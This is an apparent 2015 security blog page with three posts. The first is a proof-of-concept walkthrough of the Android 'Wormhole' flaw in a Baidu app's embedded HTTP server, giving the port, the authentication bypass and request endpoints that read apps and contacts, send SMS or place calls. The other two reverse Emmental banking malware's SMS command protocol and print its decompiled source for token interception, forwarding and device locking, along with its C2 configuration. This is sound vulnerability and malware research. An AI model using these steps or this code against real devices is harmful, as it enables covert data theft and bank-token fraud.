Monday, November 9, 2015

PoC to exploit Android Wormhole Vulnerability

A few days ago TrendMicro made public a post in which they adviced that 100 million Android devices might be affected by a serious vulnerability. In their words:

"This is a critical issue, perhaps even worse than Stagefright vulnerability that requires phishing links to web pages or user phone number, which are then used to send malicious MMS. With this security issue, attackers just simply scan the network IP and require no action from the user’s end or any social engineering attacks"

The original vulnerability was discovered by WooYun.og, a vulnerability reporting platform in China. 

But, how easy is to exploit that vulnerability? It is time to get my hands dirty :)

I did not find any PoC documented so I am going to try to understand how this work. Looking at the information from TrendMicro, the documentation of the affected component nanohttpd and the source code of one of the affected applications (9897a23f168630fe99e596d60abb5e2a) I am going to try to exploit.

The key points are:

  • I know the application they are using  (com.baidu.BaiduMap, 8.7.0)
  • It runs an HTTP server in some port (TCP/40310)
  • I know the 'malicious' functionalities 
  • There is no authentication (this is setup by the Moplus SDK)


Checking the HTTP server

The app runs a light HTTP server: nanohttpd. Once installed the app I can see straight forward that the port is open:

$ nmap -sV -P0 -p 40310 172.16.42.154

Starting Nmap 6.47 ( http://nmap.org ) at 2015-11-09 08:32 CET
Nmap scan report for 172.16.42.154
Host is up (0.14s latency).
PORT      STATE SERVICE    VERSION
40310/tcp open  tcpwrapped


But if I try to send any HTTP command, I only get an empty directory response.
If I look to the nanohttp documentation I can get an idea how it works.
The HTTP server accepts POST commands as well.

Analysing the source code

The first thing to check is the source code of the application. I am going to focus on the classes which are potentially dangerous following the information from TrendMicro.

The dangerous functions are the following ones:

public class e
{
  private static final Map a = new HashMap();
  private static final String b = SendIntent.class.getPackage().getName() + ".";
  private Context c;

  static
  {
    a.put("geolocation", b + "GetLocLiteString");
    a.put("getsearchboxinfo", b + "GetSearchboxInfo");
    a.put("getapn", b + "GetApn");
    a.put("getserviceinfo", b + "GetServiceInfo");
    a.put("getpackageinfo", b + "GetPackageInfo");
    a.put("sendintent", b + "SendIntent");
    a.put("getcuid", b + "GetCuid");
    a.put("getlocstring", b + "GetLocString");
    a.put("scandownloadfile", b + "ScanDownloadFile");
    a.put("addcontactinfo", b + "AddContactInfo");
    a.put("getapplist", b + "GetAppList");
    a.put("downloadfile", b + "DownloadFile");
    a.put("uploadfile", b + "UploadFile");
  }

  public e(Context paramContext)
  {
    this.c = paramContext;
  }



With Androguard, I can easily see the code of each of them and how each of them works:






Checking the authentication

Looking at the code I can see how the authentication work. In some case it uses a Refered header matching a regex. 

private boolean a(com.baidu.android.a.a.a parama, com.baidu.android.a.a.b paramb)
  {
    parama = parama.a("Referer");
    if (TextUtils.isEmpty(parama));
    while (!Pattern.compile("^http[s]?:\\/\\/[^\\/]+(\\.baidu\\.com|\\.hao123\\.com)(:\\d+)?(\\/.*|)$").matcher(parama).matches())
      return false;
    return true;

  }

In some other cases it is just a 'remote-addr' header with the value 127.0.0.1

public g(a parama, r paramr, InputStream paramInputStream, OutputStream paramOutputStream, InetAddress paramInetAddress)
  {
    this.b = paramr;
    this.d = paramInputStream;
    this.c = paramOutputStream;
    if ((paramInetAddress.isLoopbackAddress()) || (paramInetAddress.isAnyLocalAddress()));
    for (parama = "127.0.0.1"; ; parama = paramInetAddress.getHostAddress().toString())
    {
      this.j = new HashMap();
      this.j.put("remote-addr", parama);
      this.j.put("http-client-ip", parama);
      return;
    }
  }



Also, worth to mention that there is also a reference to the code to a parameter 'mcmdf'. This parameter, which needs to be sent in the POST request,  have the value 'inap_xxxx' where XXX is the ID of the application in the Android device. In mi case it is 115, so my final value is 'inap_115'

com.baidu.hello.patch.moplus.nebula.b.b v0_13 = ((String) p12.get("mcmdf"));
            if ((android.text.TextUtils.isEmpty(v0_13)) || ((android.text.TextUtils.equals(v0_13, "null")) || (!v0_13.startsWith("inapp_")))) {
                v0_2 = v3_0;
            } else {

  

Exploiting the app

I am going to try to exploit some of the functionalities as PoC. Looking at the source code, some of them needs additional parameters but other ones no.

To exploit successfully, and as explained previously it is necessary to:
  • Setup the Header for authentication
  • Setup in the body the 'mcmdf' and 'callback' parameter. This will be the same for all the cases.
  • Setup some specific parameters for each kind of function to exploit

PoC 1: checking the apps running


  • URL: http://ip:port/getapplist (eg: http://172.16.42.154:40310/getapplist)
  • Additional parameters: 
  • Result: the full list of apps installed in the phone




PoC 2: Information about the app running the nanohttpd

  • URL: http://ip:port/getserviceinfo (eg: http://172.16.42.154:40310/getserviceinfo)
  • Additional parameters: -
  • Result: get information of the specific application running the nanohttpd, in this case com.baidu.BaiduMap)


PoC 2: Information about a specific app installed

This one require an additional parameter. This can be obtained from the source code
  • URL: http://ip:port/getpackageinfo (eg: http://172.16.42.154:40310/getpackageinfo)
  • Additional parameters
    • packagename: name of the package (org.mozilla.firefox)
  • Result: get information of the specific application running the nanohttpd, in this case com.baidu.BaiduMap)



PoC 3: Add a contact 

This one require an additional parameter. This can be obtained from the source code
  • URL: http://ip:port/addcontactinfo (eg: http://172.16.42.154:40310/addcontactinfo)
  • Additional parameters
    • postada: string with the values to add (eg: [{"name": "Test Blog ","starred":"1"}])
  • Result: add a new entry in the contact list


PoC 4: Run an intent to write a SMS

This one require an additional parameter. This can be obtained from the source code
  • URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
  • Additional parameters
    • intent: string of the intent to run (eg: sms:12345)
  • Result: send a SMS to number 12345

PoC 4: Run an intent to make a call

This one require an additional parameter. This can be obtained from the source code
  • URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
  • Additional parameters
    • intent: string of the intent to run (eg: tel:123)
  • Result: make a call to phone 123




PoC 4: Run an intent to list the contact

This one require an additional parameter. This can be obtained from the source code
  • URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
  • Additional parameters
    • intent: string of the intent to run (eg: content://contacts/people/)
  • Result: list the contacts


PoC 5: Run of additional intents

Another examples of intents I tried are, but the are many others :)


  • "content://call_log/calls" : list the phone calls
  • "geo:0,0?z=4&q=restaurantes" : search for some Geo localisation



PoC 7: Get the Geo position

  • URL: http://ip:port/sendintent (eg: http://172.16.42.154:40310/sendintent)
  • Additional parameters: -
  • Result: get the information about the Geolocation


Conclusion

There are other functions with can be exploited, like pulling and pushing files.

As you can see it is quite easy to exploit this vulnerability. You always will need to know the IP of the victim and the app number as requirement. However, this can be automatically exploited through a script. 

Any device connected to a WiFi sharing the same broadcast domain can be a potential a victim. When connecting to Internet through 3G/4G most of providers (at least 4 providers I tried) do not assign a public IP so from Internet the nanohttpd server is not reachable. However, likely any other mobile device assigned within the same 3G/4G IP network private range could reach the nanohttpd server, but I have not tried it myself.




Tuesday, November 3, 2015

Reversing the SMS C&C protocol of Emmental - 2nd part

During my previous post I investigate the source code of the emmental malware, following all the flows, in order to understand how the C&C commands are interpreted by the malware. I took as an example the GOOGL command.

Using this same approach, it is possible to figured out what other C&C commands are doing. Although there are a few more C&C commands, the ones I am interested in are: GOOGL, STARTB, DEL, YAHOO, SETP, CLEARP. In the end, and after checking the code I understood what this set of command do:
  • GOOGL -> set the phone number to forward the tokens (sms_phone)
  • STARTB -> service started
  • DEL -> UNINSTALL the application
  • YAHOO -> SETUP the URL_MAIN (Used to communicate with the C&C via HTTP)
  • SETP -> Set the C&C phone number (PHONE_NUMBER)
  • CLEARP -> clear the C&C phone number

So now that I know what this C&C command do, it is time to perform some tests and try to act as the C&C, via SMS. The first thing I do is to install and run the malware. Also I open a shell with root permissions to check the content of the malware configuration file.

Initial MainPreferences.xml

The initial file, after installation contains the following:                                                             
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="Pref5"></string>
    <int name="DEL" value="0" />
    <string name="Num5"></string>
    <string name="filters"></string>
    <int name="RID" value="25" />
    <string name="Num10"></string>
    <string name="PHONE_NUMBER"></string>
    <int name="RTB" value="0" />
    <int name="FIRST_ACTIVITY" value="1" />
    <string name="IMEI">3582******</string>
    <string name="Pref10"></string>
    <string name="URL_DATA">http://szaivert-numis.at/standardbilder/dll/1.php;http://losbalonazos.com/wp-admin/1.php</string>
    <string name="USE_URL_MAIN"></string>
    <string name="URL_LOG">http://szaivert-numis.at/standardbilder/dll/4.php;http://losbalonazos.com/wp-admin/4.php</string>
    <string name="URL_SMS">http://szaivert-numis.at/standardbilder/dll/2.php;http://losbalonazos.com/wp-admin/2.php</string>
    <string name="Pref3"></string>
    <string name="URL_MAIN">http://www.buildingforsale.eu/statistik/mainn.php;http://bildschirm24.com/mainn.php</string>
    <string name="USE_URL_LOG">http://szaivert-numis.at/standardbilder/dll/4.php</string>
    <string name="Num1"></string>
    <string name="Pref1"></string>
    <string name="Num3"></string>
</map>



Setting the C&C phone number 

Once I send the first command, SETP (CODE SETP +41xxxxxxx), to setup the C&C phone number, this I can see the the XML file has changed. Also the compromised phone is sending and ACK message to the C&C through SMS.
Note that the CODE is just a number generated by the malware which it is used a token to validate the C&C. In this case the case of this analysis the token generated by the malware is 544298 and it is stored in the field PASSADDED.

                                                            <
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="Pref5"></string>
    <int name="PASSADDED" value="542298" />
    <int name="DEL" value="0" />
    <string name="Num5"></string>
    <string name="filters"></string>
    <string name="USE_URL_DATA"></string>
    <string name="Num10"></string>
    <int name="RID" value="25" />
    <string name="PHONE_NUMBER">+417*********</string>
    <string name="USE_URL_SMS"></string>
    <int name="FIRST_ACTIVITY" value="1" />
    <int name="RTB" value="0" />
    <string name="IMEI">********************</string>
    <string name="URL_DATA"></string>
    <string name="Pref10"></string>
    <string name="USE_URL_MAIN"></string>
    <string name="URL_LOG"></string>
    <string name="URL_SMS"></string>
    <string name="Pref3"></string>
    <string name="USE_URL_LOG"></string>
    <string name="URL_MAIN"></string>
    <string name="Pref1"></string>
    <string name="Num1"></string>
    <string name="Num3"></string>
</map>


To start the service I send a message CODE STARTB, and a confirmation is sent to the C2C.

Setting the C&C URL 


Also, When I send the YAHOO command (CODE YAHOO http://www.c2c-demo.com), the XML file is updated with the new C2C URL http://www.c2c-demo.com. The compromised devices replies with an ACK ('Buffer Setted' message)

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="Pref5"></string>
    <int name="PASSADDED" value="542298" />
    <int name="DEL" value="0" />
    <string name="Num5"></string>
    <string name="filters"></string>
    <string name="USE_URL_DATA"></string>
    <string name="Num10"></string>
    <int name="RID" value="25" />
    <string name="PHONE_NUMBER">+417****</string>
    <string name="USE_URL_SMS"></string>
    <int name="FIRST_ACTIVITY" value="1" />
    <int name="RTB" value="2" />
    <string name="IMEI">3582****4</string>
    <string name="URL_DATA"></string>
    <string name="Pref10"></string>
    <string name="USE_URL_MAIN"></string>
    <string name="URL_LOG"></string>
    <string name="URL_SMS"></string>
    <string name="Pref3"></string>
    <string name="USE_URL_LOG"></string>
    <string name="URL_MAIN">http://www.c2c-demo.com</string>
    <string name="sms_phone">/string>
    <string name="Pref1"></string>
    <string name="Num1"></string>
    <string name="Num3"></string>
</map>




Setting the C&C phone number to forward the stolen tokens

Now, if if want to setup the phone number where the tokens needs to be forwarded (could be a different one from the phone C&C) I just need to send a message: CODE GOOGLE +41xxxxx. Automatically, any new message sent to the victim will be forwarded, for example a token from the Bank. Moreover, nothing is displayed int the compromised phone.




If I check the Manifest.xml , I see it contains the number of the phone where the SMS are forwaded:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="Pref5"></string>
    <int name="PASSADDED" value="542298" />
    <int name="DEL" value="0" />
    <string name="Num5"></string>
    <string name="filters"></string>
    <string name="USE_URL_DATA"></string>
    <string name="Num10"></string>
    <int name="RID" value="25" />
    <string name="PHONE_NUMBER">+41******</string>
    <string name="USE_URL_SMS"></string>
    <int name="FIRST_ACTIVITY" value="1" />
    <int name="RTB" value="2" />
    <string name="IMEI">3**********</string>
    <string name="URL_DATA"></string>
    <string name="Pref10"></string>
    <string name="USE_URL_MAIN"></string>
    <string name="URL_LOG"></string>
    <string name="URL_SMS"></string>
    <string name="Pref3"></string>
    <string name="USE_URL_LOG"></string>
    <string name="URL_MAIN">http://www.c2c-demo.com</string>
    <string name="sms_phone">+4179******</string>
    <string name="Pref1"></string>
    <string name="Num1"></string>
    <string name="Num3"></string>
</map>


Deleting the malware

The last step is to check the DEL command.If i send the command CODE DEL an windows pop ups in the compromised phone which informs the user that in order to update to a new version, the current version needs to be delete. If the user accepts the malware is uninstalled and deleted. Very clever way to delete the malware :)

At this stage, I know now how the SMS C&C  and I can easily interact with it.

Reversing the SMS C&C protocol of Emmental (1st part - understanding the code)

In a previous post I described how I reversed and decrypt the HTTP C2C protocol used by Emmental malware. Also, in other post I introduced the Androguard framework with some examples. 

Now it is time to focus on the SMS C2C protocol and how I have reversed it.

The sample used is again the same: c5cdba8771e2aee76d5bad8c2e225cd4a642050a7cfa6f22132edf607de42349

The code of this malware is obfuscated and also use some anti-reversing techniques. For example, if you try to open it with j2-gui after the DEX has been converted to Java code some part of the code will not show properly. 
The obfuscation makes the analysis a bit more difficult so a bit of patient is necessary.
If you have the money, there is a very good tool, JEB, which can help you with de-obfuscated Java code and make the analysis easier and faster.


Finding the entry point

When dealing with analysis like this it is important to figure out which is the entry point. In this case, the entry point must  be anything related to any SMS ( any method, permission, provider...). So we can look where some SMS permissions are used (SEND_SMS or RECEIVED_SMS) or we can check where the Android SMS provider is used

For this analysis I am going to start looking to the Android SMS provider (android.provider.Telephony.SMS_RECEIVED).

So first thing I do is to search for the string "android.provider.Telephony.SMS_RECEIVED" in order to see which methods are using it.

In [48]:  a, d, dx = AnalyzeAPK("malware.apk", decompiler="dad")
In [64]:  z = dx.tainted_variables.get_string("android.provider.Telephony.SMS_RECEIVED")
In [65]: z
Out[65]: <androguard.core.analysis.analysis.TaintedVariable at 0x7fd99a967090>

In [66]: z.show_paths(d)
R f4 Lorg/thoughtcrime/securesms/service/SmsListener;->onReceive (Landroid/content/Context; Landroid/content/Intent;)V
R 202 Lorg/thoughtcrime/securesms/service/SmsListener;->onReceive (Landroid/content/Context; Landroid/content/Intent;)V
R 36 Lorg/thoughtcrime/securesms/service/SmsListener;->a (Landroid/content/Context; Landroid/content/Intent;)Z


Clearly I find some interesting method 'onReceive' in the class:
Lorg.thoughtcrime.securesms.service.SmsListener 

The first method

In [70]: d.CLASS_Lorg_thoughtcrime_securesms_service_SmsListener.METHOD_onReceive.source()
public void onReceive(android.content.Context p8, android.content.Intent p9)
    {
        String v0_3 = ((Object[]) ((Object[]) p9.getExtras().get("pdus")));
        String v5_0 = new android.telephony.SmsMessage[v0_3.length];
        String v2_1 = 0;
        String v4_0 = "";
        while (v2_1 < v0_3.length) {
            v5_0[v2_1] = android.telephony.SmsMessage.createFromPdu(((byte[]) ((byte[]) v0_3[v2_1])));
            v4_0 = new StringBuilder().append(v4_0).append(v5_0[v2_1].getMessageBody()).toString();
            v2_1++;
        }
        String v0_8 = android.telephony.SmsMessage.createFromPdu(((byte[]) ((byte[]) v0_3[0]))).getDisplayOriginatingAddress();
        android.content.Intent v1_4 = new org.thoughtcrime.securesms.h.f(v4_0, p8);
        if ((!p9.getAction().equals("android.provider.Telephony.SMS_DELIVER")) || ((!v1_4.a().booleanValue()) && (org.thoughtcrime.securesms.h.i.a("RTB", 0, p8) == 0))) {
            if ((!p9.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) || ((!v1_4.a().booleanValue()) && (org.thoughtcrime.securesms.h.i.a("RTB", 0, p8) == 0))) {
                if ((p9.getAction().equals("android.provider.Telephony.SMS_DELIVER")) || ((p9.getAction().equals("android.provider.Telephony.SMS_RECEIVED")) && (this.a(p8, p9)))) {
                    String v0_15 = new android.content.Intent(p8, org.thoughtcrime.securesms.service.SendReceiveService);
                    v0_15.setAction("org.thoughtcrime.securesms.SendReceiveService.RECEIVE_SMS_ACTION");
                    v0_15.putExtra("ResultCode", this.getResultCode());
                    v0_15.putParcelableArrayListExtra("text_messages", this.c(p9));
                    p8.startService(v0_15);
                    this.abortBroadcast();
                }
            } else {
                if (!v1_4.a().booleanValue()) {
                    if (org.thoughtcrime.securesms.h.i.a("RTB", 0, p8) != 2) {
                        if ((org.thoughtcrime.securesms.h.i.a("RTB", 0, p8) == 1) && (org.thoughtcrime.securesms.h.i.c(v0_8, 0, p8) == 1)) {
                            this.abortBroadcast();
                            android.content.Intent v1_17 = new android.content.Intent(p8, org.thoughtcrime.securesms.xservices.XSmsIncom);
                            v1_17.putExtra("sms_body", v4_0);
                            v1_17.putExtra("sms_from", v0_8);
                            p8.startService(v1_17);
                        }
                    } else {
                        this.abortBroadcast();
                        String v0_17 = org.thoughtcrime.securesms.h.i.a("sms_phone", "0", p8);
                        if (v0_17 != "0") {
                            org.thoughtcrime.securesms.h.i.d(v0_17, v4_0, p8);
                        }
                    }
                } else {
                    this.abortBroadcast();
                    if (v1_4.b().booleanValue()) {
                        v1_4.a(p8);
                    }
                }
            }
        } else {
            this.abortBroadcast();
        }
        return;
    }



The second method

Looking at the code above I see an interesting call to another method in other class, which I also display here:

In [71]: d.CLASS_Lorg_thoughtcrime_securesms_h_f.source()
package org.thoughtcrime.securesms.h;
public class f {
    private String a;
    private org.thoughtcrime.securesms.h.h b;
    private String c;
    private String d;
    private Boolean e;
    private Boolean f;
    private String[] g;

    public f(String p6, android.content.Context p7)
    {
        this.c = "0";
        this.d = "0";
        this.e = Boolean.valueOf(0);
        this.f = Boolean.valueOf(0);
        this.g = p6.split(" ");
        if ((this.g.length > 1) && (org.thoughtcrime.securesms.h.h.a(this.g[1]))) {
            this.a = this.g[0];
            this.b = org.thoughtcrime.securesms.h.h.valueOf(this.g[1]);
            if (this.g.length > 2) {
                this.c = this.g[2];
                if (this.g.length > 3) {
                    this.d = this.g[3];
                    org.thoughtcrime.securesms.h.i.b("service_code", this.d, p7);
                }
            }
            this.e = Boolean.valueOf(1);
            if (org.thoughtcrime.securesms.h.i.b(org.thoughtcrime.securesms.h.i.a(this.a))) {
                this.f = Boolean.valueOf(1);
            }
        }
        return;
    }

    public Boolean a()
    {
        return this.e;
    }

    public void a(android.content.Context p4)
    {
        switch (org.thoughtcrime.securesms.h.g.a[this.b.ordinal()]) {
            case 1:
                String v0_35 = org.thoughtcrime.securesms.h.i.a("PHONE_NUMBER", "", p4);
                if ((this.c == "0") && (v0_35.length() > 0)) {
                    this.c = v0_35;
                }
                if (this.c == "0") {
                } else {
                    org.thoughtcrime.securesms.h.i.b("sms_phone", this.c, p4);
                    org.thoughtcrime.securesms.h.i.b("RTB", 2, p4);
                    org.thoughtcrime.securesms.h.i.d(this.c, "Service Started", p4);
                }
                break;
            case 2:
                org.thoughtcrime.securesms.h.i.b("RTB", 1, p4);
                org.thoughtcrime.securesms.h.i.b("Service Started", p4);
                break;
            case 3:
                this.c = org.thoughtcrime.securesms.h.i.a("sms_phone", "0", p4);
                org.thoughtcrime.securesms.h.i.b("sms_phone", "0", p4);
                org.thoughtcrime.securesms.h.i.b("RTB", 0, p4);
                if (this.c == "0") {
                } else {
                    org.thoughtcrime.securesms.h.i.d(this.c, "Service Stoped", p4);
                }
                break;
            case 4:
                org.thoughtcrime.securesms.h.i.b("DEL", 1, p4);
                this.c = org.thoughtcrime.securesms.h.i.a("sms_phone", this.c, p4);
                if (this.c == "0") {
                } else {
                    org.thoughtcrime.securesms.h.i.d(this.c, "Delete command received", p4);
                }
                break;
            case 5:
                if (this.c == "0") {
                } else {
                    org.thoughtcrime.securesms.h.i.m(p4);
                    org.thoughtcrime.securesms.h.i.b("URL_MAIN", this.c, p4);
                    org.thoughtcrime.securesms.h.i.b("Buffer setted", p4);
                    p4.sendBroadcast(new android.content.Intent(p4, org.thoughtcrime.securesms.xservices.XRepeat));
                }
                break;
            case 6:
                org.thoughtcrime.securesms.h.i.m(p4);
                break;
            case 7:
                if (this.c == "0") {
                } else {
                    org.thoughtcrime.securesms.h.i.m(p4);
                    org.thoughtcrime.securesms.h.i.b("PHONE_NUMBER", this.c, p4);
                    org.thoughtcrime.securesms.h.i.b("Number setted", p4);
                }
                break;
            case 8:
                org.thoughtcrime.securesms.h.i.b("PHONE_NUMBER", "", p4);
                break;
            case 9:
                org.thoughtcrime.securesms.h.i.m(p4);
                org.thoughtcrime.securesms.h.i.b("PHONE_NUMBER", "", p4);
                break;
            case 10:
                if (this.c == "0") {
                } else {
                    String v0_9 = ((android.app.admin.DevicePolicyManager) p4.getSystemService("device_policy"));
                    v0_9.resetPassword(this.c, 1);
                    v0_9.lockNow();
                    org.thoughtcrime.securesms.h.i.b("Device locked", p4);
                }
                break;
            case 11:
                String v0_4 = ((android.app.admin.DevicePolicyManager) p4.getSystemService("device_policy"));
                v0_4.resetPassword("", 1);
                v0_4.lockNow();
                org.thoughtcrime.securesms.h.i.b("Device unlocked", p4);
                break;
        }
        return;
    }

    public Boolean b()
    {
        return this.f;
    }
}



The third method

The method above makes again a call to other method in other class  'org.thoughtcrime.securesms.h.h.valueOf'.By the name of that method it looks like some kind of value is extracted or converted. Time to look to that method:

In [72]:In [72]: d.CLASS_Lorg_thoughtcrime_securesms_h_h.source()
package org.thoughtcrime.securesms.h;
final enum class h extends java.lang.Enum {
    public static final enum org.thoughtcrime.securesms.h.h a;
    public static final enum org.thoughtcrime.securesms.h.h b;
    public static final enum org.thoughtcrime.securesms.h.h c;
    public static final enum org.thoughtcrime.securesms.h.h d;
    public static final enum org.thoughtcrime.securesms.h.h e;
    public static final enum org.thoughtcrime.securesms.h.h f;
    public static final enum org.thoughtcrime.securesms.h.h g;
    public static final enum org.thoughtcrime.securesms.h.h h;
    public static final enum org.thoughtcrime.securesms.h.h i;
    public static final enum org.thoughtcrime.securesms.h.h j;
    public static final enum org.thoughtcrime.securesms.h.h k;
    private static final synthetic org.thoughtcrime.securesms.h.h[] l;

    static h()
    {
        org.thoughtcrime.securesms.h.h.a = new org.thoughtcrime.securesms.h.h("GOOGL", 0);
        org.thoughtcrime.securesms.h.h.b = new org.thoughtcrime.securesms.h.h("STARTB", 1);
        org.thoughtcrime.securesms.h.h.c = new org.thoughtcrime.securesms.h.h("GOOGLE", 2);
        org.thoughtcrime.securesms.h.h.d = new org.thoughtcrime.securesms.h.h("DEL", 3);
        org.thoughtcrime.securesms.h.h.e = new org.thoughtcrime.securesms.h.h("YAHOO", 4);
        org.thoughtcrime.securesms.h.h.f = new org.thoughtcrime.securesms.h.h("CLEARB", 5);
        org.thoughtcrime.securesms.h.h.g = new org.thoughtcrime.securesms.h.h("SETP", 6);
        org.thoughtcrime.securesms.h.h.h = new org.thoughtcrime.securesms.h.h("CLEARP", 7);
        org.thoughtcrime.securesms.h.h.i = new org.thoughtcrime.securesms.h.h("DROPBOX", 8);
        org.thoughtcrime.securesms.h.h.j = new org.thoughtcrime.securesms.h.h("LOCK", 9);
        org.thoughtcrime.securesms.h.h.k = new org.thoughtcrime.securesms.h.h("UNLOCK", 10);
        org.thoughtcrime.securesms.h.h[] v0_23 = new org.thoughtcrime.securesms.h.h[11];
        v0_23[0] = org.thoughtcrime.securesms.h.h.a;
        v0_23[1] = org.thoughtcrime.securesms.h.h.b;
        v0_23[2] = org.thoughtcrime.securesms.h.h.c;
        v0_23[3] = org.thoughtcrime.securesms.h.h.d;
        v0_23[4] = org.thoughtcrime.securesms.h.h.e;
        v0_23[5] = org.thoughtcrime.securesms.h.h.f;
        v0_23[6] = org.thoughtcrime.securesms.h.h.g;
        v0_23[7] = org.thoughtcrime.securesms.h.h.h;
        v0_23[8] = org.thoughtcrime.securesms.h.h.i;
        v0_23[9] = org.thoughtcrime.securesms.h.h.j;
        v0_23[10] = org.thoughtcrime.securesms.h.h.k;
        org.thoughtcrime.securesms.h.h.l = v0_23;
        return;
    }

    private h(String p1, int p2)
    {
        this(p1, p2);
        return;
    }

    public static boolean a(String p5)
    {
        int v0 = 0;
        org.thoughtcrime.securesms.h.h[] v2 = org.thoughtcrime.securesms.h.h.values();
        int v1 = 0;
        while (v1 < v2.length) {
            if (!v2[v1].name().equals(p5)) {
                v1++;
            } else {
                v0 = 1;
                break;
            }
        }
        return v0;
    }

    public static org.thoughtcrime.securesms.h.h valueOf(String p1)
    {
        return ((org.thoughtcrime.securesms.h.h) Enum.valueOf(org.thoughtcrime.securesms.h.h, p1));
    }

    public static org.thoughtcrime.securesms.h.h[] values()
    {
        return ((org.thoughtcrime.securesms.h.h[]) org.thoughtcrime.securesms.h.h.l.clone());
    }
}


Back to second method

Looking at the Java class I see that there is a some kind 'conversion' from a string to a number. Those strings looks familiar to me and I have seen some of the them in memory analysis I did in previous posts. So basically the string "GOOGL" is 'mapped' to the number '1' which can be later used in a 'switch' condition in the caller method org.thought.crime.securesms.h.f and from there jump to the method which executes the valid code. So for example, the 'GOOGL' strings, maps to number '1' and in the 'switch', the code is the following:


case 1:
                String v0_35 = org.thoughtcrime.securesms.h.i.a("PHONE_NUMBER", "", p4);
                if ((this.c == "0") && (v0_35.length() > 0)) {
                    this.c = v0_35;
                }
                if (this.c == "0") {
                } else {
                    org.thoughtcrime.securesms.h.i.b("sms_phone", this.c, p4);
                    org.thoughtcrime.securesms.h.i.b("RTB", 2, p4);
                    org.thoughtcrime.securesms.h.i.d(this.c, "Service Started", p4);
                }
                break


I have created a very basic flow diagram to see how the functions are called





The fourth method

In the code above there is an interesting call to one method: org.thoughtcrime.securesms.h.i.b("sms_phone", this.c, p4)

The code of this method is:

   public static void b(String p2, String p3, android.content.Context p4)
    {
        android.content.SharedPreferences$Editor v0_2;
        if (android.os.Build$VERSION.SDK_INT < 11) {
            v0_2 = p4.getSharedPreferences("MainPref", 0);
        } else {
            v0_2 = p4.getSharedPreferences("MainPref", 4);
        }
        android.content.SharedPreferences$Editor v0_4 = v0_2.edit();
        v0_4.putString(p2, p3);
        v0_4.commit();

        return;

In essence, this method finally is editing the MainPreferences.xml used by the malware to keep its configuration. This file is basically the XML file discovered in this post which keeps the configuration of the malware. In this case, this is a phone number which I advance is the number used to forward the stolen tokens (I will explain this in next post).

This is a summary of what's going:

  1. When there is a new SMS received the OnReceive() method calls other method org.thoughtcrime.securesms.h.f
  2. The method org.thoughtcrime.securesms.h.f contains a 'switch' in order to jump to the specific method to execute the code. But previous to that, the method needs to know which is the value of the variable for the 'switch'. To get this value, a call to the method org.thoughtcrime.securesms.h.h is done.
  3. The method org.thoughtcrime.securesms.h.f is in charge of mapping strings to integer values. So the value returned is used by the method org.thoughtcrime.securesms.h.f .
  4. Once org.thoughtcrime.securesms.h.f knows the value for the 'switch' it jumps to the correct method which execute the C&C command.

Where I am going to focus the investigation?
Basically in the strings mapped to integers. Those are the ones which are the C&C commands. So I need to see what the commands GOOGL, STARTB, DEL, YAHOO, etc, are used for.